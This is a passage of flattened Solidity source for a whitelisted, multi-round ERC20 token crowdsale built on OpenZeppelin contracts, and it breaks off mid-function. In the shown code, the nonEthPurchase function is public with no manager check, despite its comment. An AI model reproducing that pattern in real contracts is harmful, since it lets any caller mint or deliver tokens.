function receiveFor(address beneficiary, uint256 value) public;
/**
* @notice Update the releaseTime for vaults
* @param roundEndTime The new releaseTime
*/
function updateReleaseTime(uint256 roundEndTime) public;
}
// File: contracts/property/CounterGuard.sol
/**
* @title modifier contract that guards certain properties only triggered once
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract CounterGuard {
/**
* @notice Controle if a boolean attribute (false by default) was updated to true.
* @dev This attribute is designed specifically for recording an action.
* @param criterion The boolean attribute that records if an action has taken place
*/
modifier onlyOnce(bool criterion) {
require(criterion == false, "Already been set");
_;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/property/Reclaimable.sol
/**
* @title Reclaimable
* @dev This contract gives owner right to recover any ERC20 tokens accidentally sent to
* the token contract. The recovered token will be sent to the owner of token.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract Reclaimable is Ownable {
using SafeERC20 for IERC20;
/**
* @notice Let the owner to retrieve other tokens accidentally sent to this contract.
* @dev This function is suitable when no token of any kind shall be stored under
* the address of the inherited contract.
* @param tokenToBeRecovered address of the token to be recovered.
*/
function reclaimToken(IERC20 tokenToBeRecovered) external onlyOwner {
uint256 balance = tokenToBeRecovered.balanceOf(address(this));
tokenToBeRecovered.safeTransfer(owner(), balance);
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
pragma solidity ^0.5.0;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param rate Number of token units a buyer gets per wei
* @dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* @param wallet Address where collected funds will be forwarded to
* @param token Address of the token being sold
*/
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns (address payable) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.
* Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid
* conditions are not met.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends
* its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send
* tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions,
* etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts/membership/ManagerRole.sol
/**
* @title Manager Role
* @dev This contract is developed based on the Manager contract of OpenZeppelin.
* The key difference is the management of the manager roles is restricted to one owner
* account. At least one manager should exist in any situation.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract ManagerRole is Ownable {
using Roles for Roles.Role;
using SafeMath for uint256;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
uint256 private _numManager;
constructor() internal {
_addManager(msg.sender);
_numManager = 1;
}
/**
* @notice Only manager can take action
*/
modifier onlyManager() {
require(isManager(msg.sender), "The account is not a manager");
_;
}
/**
* @notice This function allows to add managers in batch with control of the number of
* interations
* @param accounts The accounts to be added in batch
*/
// solhint-disable-next-line
function addManagers(address[] calldata accounts) external onlyOwner {
uint256 length = accounts.length;
require(length <= 256, "too many accounts");
for (uint256 i = 0; i < length; i++) {
_addManager(accounts[i]);
}
}
/**
* @notice Add an account to the list of managers,
* @param account The account address whose manager role needs to be removed.
*/
function removeManager(address account) external onlyOwner {
_removeManager(account);
}
/**
* @notice Check if an account is a manager
* @param account The account to be checked if it has a manager role
* @return true if the account is a manager. Otherwise, false
*/
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
/**
*@notice Get the number of the current managers
*/
function numManager() public view returns (uint256) {
return _numManager;
}
/**
* @notice Add an account to the list of managers,
* @param account The account that needs to tbe added as a manager
*/
function addManager(address account) public onlyOwner {
require(account != address(0), "account is zero");
_addManager(account);
}
/**
* @notice Renounce the manager role
* @dev This function was not explicitly required in the specs. There should be at
* least one manager at any time. Therefore, at least two when one manage renounces
* themselves.
*/
function renounceManager() public {
require(_numManager >= 2, "Managers are fewer than 2");
_removeManager(msg.sender);
}
/** OVERRIDE
* @notice Allows the current owner to relinquish control of the contract.
* @dev Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
revert("Cannot renounce ownership");
}
/**
* @notice Internal function to be called when adding a manager
* @param account The address of the manager-to-be
*/
function _addManager(address account) internal {
_numManager = _numManager.add(1);
managers.add(account);
emit ManagerAdded(account);
}
/**
* @notice Internal function to remove one account from the manager list
* @param account The address of the to-be-removed manager
*/
function _removeManager(address account) internal {
_numManager = _numManager.sub(1);
managers.remove(account);
emit ManagerRemoved(account);
}
}
// File: contracts/membership/PausableManager.sol
/**
* @title Pausable Manager Role
* @dev This manager can also pause a contract. This contract is developed based on the
* Pause contract of OpenZeppelin.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract PausableManager is ManagerRole {
event BePaused(address manager);
event BeUnpaused(address manager);
bool private _paused; // If the crowdsale contract is paused, controled by the manager...
constructor() internal {
_paused = false;
}
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "not paused");
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "paused");
_;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @notice called by the owner to pause, triggers stopped state
*/
function pause() public onlyManager whenNotPaused {
_paused = true;
emit BePaused(msg.sender);
}
/**
* @notice called by the owner to unpause, returns to normal state
*/
function unpause() public onlyManager whenPaused {
_paused = false;
emit BeUnpaused(msg.sender);
}
}
// File: contracts/property/ValidAddress.sol
/**
* @title modifier contract that checks if the address is valid
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract ValidAddress {
/**
* @notice Check if the address is not zero
*/
modifier onlyValidAddress(address _address) {
require(_address != address(0), "Not a valid address");
_;
}
/**
* @notice Check if the address is not the sender's address
*/
modifier isSenderNot(address _address) {
require(_address != msg.sender, "Address is the same as the sender");
_;
}
/**
* @notice Check if the address is the sender's address
*/
modifier isSender(address _address) {
require(_address == msg.sender, "Address is different from the sender");
_;
}
}
// File: contracts/membership/Whitelist.sol
/**
* @title Whitelist
* @dev The WhitelistCrowdsale was not included in OZ's release at the moment of the
* development of this contract. Therefore, we've developed the Whitelist contract and
* the WhitelistCrowdsale contract.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract Whitelist is ValidAddress, PausableManager {
bool private _isWhitelisting;
mapping (address => bool) private _isWhitelisted;
event AddedWhitelisted(address indexed account);
event RemovedWhitelisted(address indexed account);
/**
* @notice Adding account control, only whitelisted accounts could do certain actions.
* @dev Whitelisting is enabled by default, There is not even the opportunity to
* disable it.
*/
constructor() internal {
_isWhitelisting = true;
}
/**
* @dev Add an account to the whitelist, calling the corresponding internal function
* @param account The address of the investor
*/
function addWhitelisted(address account) external onlyManager {
_addWhitelisted(account);
}
/**
* @notice This function allows to whitelist investors in batch
* with control of number of interations
* @param accounts The accounts to be whitelisted in batch
*/
// solhint-disable-next-line
function addWhitelisteds(address[] calldata accounts) external onlyManager {
uint256 length = accounts.length;
require(length <= 256, "too long");
for (uint256 i = 0; i < length; i++) {
_addWhitelisted(accounts[i]);
}
}
/**
* @notice Remove an account from the whitelist, calling the corresponding internal
* function
* @param account The address of the investor that needs to be removed
*/
function removeWhitelisted(address account)
external
onlyManager
{
_removeWhitelisted(account);
}
/**
* @notice This function allows to whitelist investors in batch
* with control of number of interations
* @param accounts The accounts to be whitelisted in batch
*/
// solhint-disable-next-line
function removeWhitelisteds(address[] calldata accounts)
external
onlyManager
{
uint256 length = accounts.length;
require(length <= 256, "too long");
for (uint256 i = 0; i < length; i++) {
_removeWhitelisted(accounts[i]);
}
}
/**
* @notice Check if an account is whitelisted or not
* @param account The account to be checked
* @return true if the account is whitelisted. Otherwise, false.
*/
function isWhitelisted(address account) public view returns (bool) {
return _isWhitelisted[account];
}
/**
* @notice Add an investor to the whitelist
* @param account The address of the investor that has successfully passed KYC
*/
function _addWhitelisted(address account)
internal
onlyValidAddress(account)
{
require(_isWhitelisted[account] == false, "account already whitelisted");
_isWhitelisted[account] = true;
emit AddedWhitelisted(account);
}
/**
* @notice Remove an investor from the whitelist
* @param account The address of the investor that needs to be removed
*/
function _removeWhitelisted(address account)
internal
onlyValidAddress(account)
{
require(_isWhitelisted[account] == true, "account was not whitelisted");
_isWhitelisted[account] = false;
emit RemovedWhitelisted(account);
}
}
// File: contracts/crowdsale/WhitelistCrowdsale.sol
/**
* @title Crowdsale with whitelists
* @dev The WhitelistCrowdsale was not included in OZ's release at the moment of the
* development of this contract. Therefore, we've developed the Whitelist contract and
* the WhitelistCrowdsale contract.
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
/**
* @title WhitelistCrowdsale
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract WhitelistCrowdsale is Whitelist, Crowdsale {
/**
* @notice Extend parent behavior requiring beneficiary to be whitelisted.
* @dev Note that no restriction is imposed on the account sending the transaction.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
{
require(isWhitelisted(_beneficiary), "beneficiary is not whitelisted");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/crowdsale/NonEthPurchasableCrowdsale.sol
/**
* @title Crowdsale that allows to be purchased with fiat
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract NonEthPurchasableCrowdsale is Crowdsale {
event NonEthTokenPurchased(address indexed beneficiary, uint256 tokenAmount);
/**
* @notice Allows onlyManager to mint token for beneficiary.
* @param beneficiary Recipient of the token purchase
* @param tokenAmount Amount of token purchased
*/
function nonEthPurchase(address beneficiary, uint256 tokenAmount)
public
{
_preValidatePurchase(beneficiary, tokenAmount);
_processPurchase(beneficiary, tokenAmount);
emit NonEthTokenPurchased(beneficiary, tokenAmount);
}
}
// File: contracts/crowdsale/UpdatableRateCrowdsale.sol
/**
* @title Crowdsale with updatable exchange rate
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
// @TODO change the pausable manager to other role or the role to be created ->
// whitelisted admin
contract UpdatableRateCrowdsale is PausableManager, Crowdsale {
using SafeMath for uint256;
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
// 1 IVO = 0.3213 USD
uint256 private constant TOKEN_PRICE_USD = 3213;
uint256 private constant TOKEN_PRICE_BASE = 10000;
uint256 private constant FIAT_RATE_BASE = 100;
// This vairable is not goint to override the _rate vairable in OZ's _rate vairable
// because of the scope/visibility, however, we could override the getter function
uint256 private _rate;
// USD to ETH rate, as shown on CoinMarketCap.com
// _rate = _fiatRate / ((1 - discount) * (TOKEN_PRICE_USD / TOKEN_PRICE_BASE))
// e.g. If 1 ETH = 110.24 USD, _fiatRate is 11024.
uint256 private _fiatRate;
/**
* Event for fiat to ETH rate update
* @param value the fiatrate
* @param timestamp blocktime of the update
*/
event UpdatedFiatRate (uint256 value, uint256 timestamp);
/**
* @param initialFiatRate The fiat rate (ETH/USD) when crowdsale starts
* @dev 2 decimals. e.g. If 1 ETH = 110.24 USD, _fiatRate is 11024.
*/
constructor (uint256 initialFiatRate) internal {
require(initialFiatRate > 0, "fiat rate is not positive");
_updateRate(initialFiatRate);
}
/**
* @dev Allow manager to update the exchange rate when necessary.
*/
function updateRate(uint256 newFiatRate) external onlyManager {
_updateRate(newFiatRate);
}
/** OVERRIDE
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the ETH price (in USD) currently used in the crowdsale
*/
function fiatRate() public view returns (uint256) {
return _fiatRate;
}
/**
* @notice Calculate the amount of token to be sold based on the amount of wei
* @dev To be overriden to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
/**
* @notice Update the exchange rate when the fiat rate is changed
* @dev Since we round the _rate now into an integer. There is a loss in purchase
* E.g. When ETH is at 110.24$, one could have 343.106 IVO with 1 ETH of net
* contribution (after deducting the KYC/AML fee) in mainsale. However, only 343 IVO
* will be issued, due to the rounding, resulting in a loss of 0.35 $/ETH purchase.
*/
function _updateRate(uint256 newFiatRate) internal {
_fiatRate = newFiatRate;
_rate = _fiatRate.mul(TOKEN_PRICE_BASE).div(TOKEN_PRICE_USD * FIAT_RATE_BASE);
emit UpdatedFiatRate(_fiatRate, block.timestamp);
}
}
// File: contracts/crowdsale/CappedMultiRoundCrowdsale.sol
/**
* @title Multi-round with cap Crowdsale
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract CappedMultiRoundCrowdsale is UpdatableRateCrowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
uint256 private constant ROUNDS = 3;
uint256 private constant CAP_ROUND_ONE = 22500000 ether;
uint256 private constant CAP_ROUND_TWO = 37500000 ether;
uint256 private constant CAP_ROUND_THREE = 52500000 ether;
uint256 private constant HARD_CAP = 52500000 ether;
uint256 private constant PRICE_PERCENTAGE_ROUND_ONE = 80;
uint256 private constant PRICE_PERCENTAGE_ROUND_TWO = 90;
uint256 private constant PRICE_PERCENTAGE_ROUND_THREE = 100;
uint256 private constant PRICE_PERCENTAGE_BASE = 100;
uint256 private _currentRoundCap;
uint256 private _mintedByCrowdsale;
uint256 private _currentRound;
uint256[ROUNDS] private _capOfRound;
uint256[ROUNDS] private _pricePercentagePerRound;
address private privateVaultAddress;
address private presaleVaultAddress;
address private reserveVaultAddress;
/**
* Event for multi-round logging
* @param roundNumber number of the current rounnd, starting from 0
* @param timestamp blocktime of the start of the next block
*/
event RoundStarted(uint256 indexed roundNumber, uint256 timestamp);
/**
* Constructor for the capped multi-round crowdsale
* @param startingTime Time when the first round starts
*/
/* solhint-disable */
constructor (uint256 startingTime) internal {
// update the private variable as the round number and the discount percentage is not changed.
_pricePercentagePerRound[0] = PRICE_PERCENTAGE_ROUND_ONE;
_pricePercentagePerRound[1] = PRICE_PERCENTAGE_ROUND_TWO;
_pricePercentagePerRound[2] = PRICE_PERCENTAGE_ROUND_THREE;
// update the milestones
_capOfRound[0] = CAP_ROUND_ONE;
_capOfRound[1] = CAP_ROUND_TWO;
_capOfRound[2] = CAP_ROUND_THREE;
// initiallization
_currentRound;
_currentRoundCap = _capOfRound[_currentRound];
emit RoundStarted(_currentRound, startingTime);
}
/* solhint-enable */
/**
* @notice Modifier to be executed when multi-round is still going on
*/
modifier stillInRounds() {
require(_currentRound < ROUNDS, "Not in rounds");
_;
}
/**
* @notice Check vault addresses are correcly settled.
*/
/* solhint-disable */
modifier vaultAddressesSet() {
require(privateVaultAddress != address(0) && presaleVaultAddress != address(0) && reserveVaultAddress != address(0), "Vaults are not set");
_;
}
/* solhint-enable */
/**
* @return the cap of the crowdsale.
*/
function hardCap() public pure returns(uint256) {
return HARD_CAP;
}
/**
* @return the cap of the current round of crowdsale.
*/
function currentRoundCap() public view returns(uint256) {
return _currentRoundCap;
}
/**
* @return the amount of token issued by the crowdsale.
*/
function mintedByCrowdsale() public view returns(uint256) {
return _mintedByCrowdsale;
}
/**
* @return the total round of crowdsales.
*/
function rounds() public pure returns(uint256) {
return ROUNDS;
}
/**
* @return the index of current round.
*/
function currentRound() public view returns(uint256) {
return _currentRound;
}
/**
* @return the cap of one round (relative value)
*/
function capOfRound(uint256 index) public view returns(uint256) {
return _capOfRound[index];
}
/**
* @return the discounted price of the current round
*/
function pricePercentagePerRound(uint256 index) public view returns(uint256) {
return _pricePercentagePerRound[index];
}
/**
* @notice Checks whether the cap has been reached.
* @dev These two following functions should not be held because the state should be
* reverted, if the condition is met, therefore no more tokens that exceeds the cap
* shall be minted.
* @return Whether the cap was reached
*/
function hardCapReached() public view returns (bool) {
return _mintedByCrowdsale >= HARD_CAP;
}
/**
* @notice Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function currentRoundCapReached() public view returns (bool) {
return _mintedByCrowdsale >= _currentRoundCap;
}
/**
* @notice Allows manager to manually close the round
*/
function closeCurrentRound() public onlyManager stillInRounds {
_capOfRound[_currentRound] = _mintedByCrowdsale;
_updateRoundCaps(_currentRound);
}
/**
* @dev Extend parent behavior requiring the crowdsale is in a valid round
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
stillInRounds
{
super._preValidatePurchase(beneficiary, weiAmount);
}
/**
* @notice Extend parent behavior requiring purchase to respect the max
* token cap for crowdsale.
* @dev If the transaction is about to exceed the hardcap, the crowdsale contract
* will revert the entire transaction, because the contract will not refund any part
* of msg.value
* @param beneficiary Token purchaser
* @param tokenAmount Amount of tokens purchased
*/
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Check if the hard cap (in IVO) is reached
// This requirement is actually controlled when calculating the tokenAmount
// inside _dealWithBigTokenPurchase(). So comment the following ou at the moment
// require(_mintedByCrowdsale.add(tokenAmount) <= HARD_CAP, "Too many tokens that exceeds the cap");
// After calculating the generated amount, now update the current round.
// The following block is to process a purchase with amouts that exceeds the current cap.
uint256 finalAmount = _mintedByCrowdsale.add(tokenAmount);
uint256 totalMintedAmount = _mintedByCrowdsale;
for (uint256 i = _currentRound; i < ROUNDS; i = i.add(1)) {
if (finalAmount > _capOfRound[i]) {
sendToCorrectAddress(beneficiary, _capOfRound[i].sub(totalMintedAmount), _currentRound);
// the rest needs to be dealt in the next round.
totalMintedAmount = _capOfRound[i];
_updateRoundCaps(_currentRound);
} else {
_mintedByCrowdsale = finalAmount;
sendToCorrectAddress(beneficiary, finalAmount.sub(totalMintedAmount), _currentRound);
if (finalAmount == _capOfRound[i]) {
_updateRoundCaps(_currentRound);
}
break;
}
}
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* It tokens "discount" into consideration as well as multi-rounds.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
// Here we need to check if all tokens are sold in the same round.
